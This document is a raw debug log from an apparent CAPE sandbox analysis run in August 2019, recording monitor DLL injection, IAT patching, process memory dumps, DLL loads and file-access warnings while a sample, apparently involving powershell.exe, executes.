2019-08-13 23:46:24,487 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:24,519 [root] INFO: Added new process to list with pid: 3232
2019-08-13 23:46:24,533 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:24,533 [root] INFO: Monitor successfully loaded in process with pid 3232.
2019-08-13 23:46:24,549 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:24,549 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:24,549 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:24,549 [root] DEBUG: GetHookCallerBase: thread 3236 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:24,565 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:24,565 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:24,565 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:24,565 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,581 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:24,611 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3484
2019-08-13 23:46:24,628 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:24,628 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\3080_1000420642246614382019
2019-08-13 23:46:24,644 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:24,644 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:24,658 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:24,658 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:24,658 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:24,658 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:24,658 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:24,674 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\3232_1565469308246614382019
2019-08-13 23:46:24,690 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:24,690 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:24,706 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:24,706 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x0000000000235000-0x0000000000240000
2019-08-13 23:46:24,706 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:24,706 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:24,721 [root] INFO: Added new process to list with pid: 3484
2019-08-13 23:46:24,721 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:24,721 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\XJPY4NZGKFGX8849470V.temp'
2019-08-13 23:46:24,721 [root] INFO: Monitor successfully loaded in process with pid 3484.
2019-08-13 23:46:24,721 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:24,736 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:24,736 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\XJPY4NZGKFGX8849470V.temp'
2019-08-13 23:46:24,736 [root] DEBUG: GetHookCallerBase: thread 3488 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:24,736 [root] INFO: Announced 64-bit process name: powershell.exe pid: 3912
2019-08-13 23:46:24,736 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:24,736 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:24,736 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:24,736 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:24,753 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:24,753 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:24,753 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\XJPY4NZGKFGX8849470V.temp'
2019-08-13 23:46:24,767 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:24,799 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:24,799 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:24,799 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:24,799 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c055d3.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1c055d3.TMP'
2019-08-13 23:46:24,799 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:24,799 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:24,799 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:24,815 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:24,815 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:24,831 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:24,831 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:24,831 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:24,831 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp" does not exist, skip.
2019-08-13 23:46:24,845 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:24,845 [root] DEBUG: Loader: Injecting process 3912 (thread 3916) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,861 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:24,861 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:24,861 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:24,861 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:24,861 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:24,861 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:24,861 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,878 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\3484_839842823246614382019
2019-08-13 23:46:24,878 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\HJXECHJHMG71XDJWL6S5.temp'
2019-08-13 23:46:24,878 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp" does not exist, skip.
2019-08-13 23:46:24,878 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:24,878 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:24,878 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:24,878 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:24,878 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\HJXECHJHMG71XDJWL6S5.temp'
2019-08-13 23:46:24,878 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:24,892 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:24,892 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:24,892 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:24,892 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:24,892 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:24,892 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:24,892 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:24,986 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:24,986 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\HJXECHJHMG71XDJWL6S5.temp'
2019-08-13 23:46:25,017 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:25,065 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:25,079 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3912
2019-08-13 23:46:25,079 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c056bd.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1c056bd.TMP'
2019-08-13 23:46:25,079 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:25,095 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:25,095 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:25,095 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:25,111 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:25,142 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp" does not exist, skip.
2019-08-13 23:46:25,142 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:25,142 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:25,174 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:25,174 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:25,204 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:25,204 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp" does not exist, skip.
2019-08-13 23:46:25,204 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:25,220 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:25,220 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x0000000000165000-0x0000000000170000
2019-08-13 23:46:25,220 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:25,220 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:25,220 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:25,220 [root] INFO: Added new process to list with pid: 3912
2019-08-13 23:46:25,252 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:25,252 [root] INFO: Monitor successfully loaded in process with pid 3912.
2019-08-13 23:46:25,299 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:25,299 [root] DEBUG: GetHookCallerBase: thread 3916 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:25,299 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:25,299 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:25,313 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:25,329 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:25,329 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:25,345 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:25,345 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:25,407 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:25,424 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:25,438 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\3912_489000120256614382019
2019-08-13 23:46:25,438 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:25,486 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:25,532 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:25,532 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:25,548 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:25,595 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:25,595 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:25,625 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:25,641 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:25,657 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:25,657 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:25,673 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:25,673 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:25,720 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:25,736 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:25,782 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:25,845 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:25,845 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:25,859 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:25,859 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:25,859 [root] INFO: Notified of termination of process with pid 2712.
2019-08-13 23:46:25,859 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:25,875 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:26,109 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:26,109 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:26,109 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:26,157 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:26,171 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:26,312 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:26,328 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:26,344 [root] INFO: Process with pid 2712 has terminated
2019-08-13 23:46:26,344 [root] INFO: Process with pid 1988 has terminated
2019-08-13 23:46:26,359 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\G7KTEU21JYPO697T9XB5.temp'
2019-08-13 23:46:26,359 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\G7KTEU21JYPO697T9XB5.temp'
2019-08-13 23:46:26,359 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:26,359 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\G7KTEU21JYPO697T9XB5.temp'
2019-08-13 23:46:26,375 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05c1a.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1c05c1a.TMP'
2019-08-13 23:46:26,375 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:26,391 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp" does not exist, skip.
2019-08-13 23:46:26,453 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:26,469 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp" does not exist, skip.
2019-08-13 23:46:26,469 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:26,469 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:26,469 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:26,483 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:26,516 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\JQTYDZ9OHJVW8O4XF2MT.temp'
2019-08-13 23:46:26,516 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:26,530 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\JQTYDZ9OHJVW8O4XF2MT.temp'
2019-08-13 23:46:26,530 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:26,530 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:26,546 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\JQTYDZ9OHJVW8O4XF2MT.temp'
2019-08-13 23:46:26,546 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05cd5.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1c05cd5.TMP'
2019-08-13 23:46:26,562 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:26,562 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp" does not exist, skip.
2019-08-13 23:46:26,562 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:26,608 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:26,625 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp" does not exist, skip.
2019-08-13 23:46:26,625 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:26,625 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:26,671 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:26,671 [root] INFO: Notified of termination of process with pid 2100.
2019-08-13 23:46:26,842 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
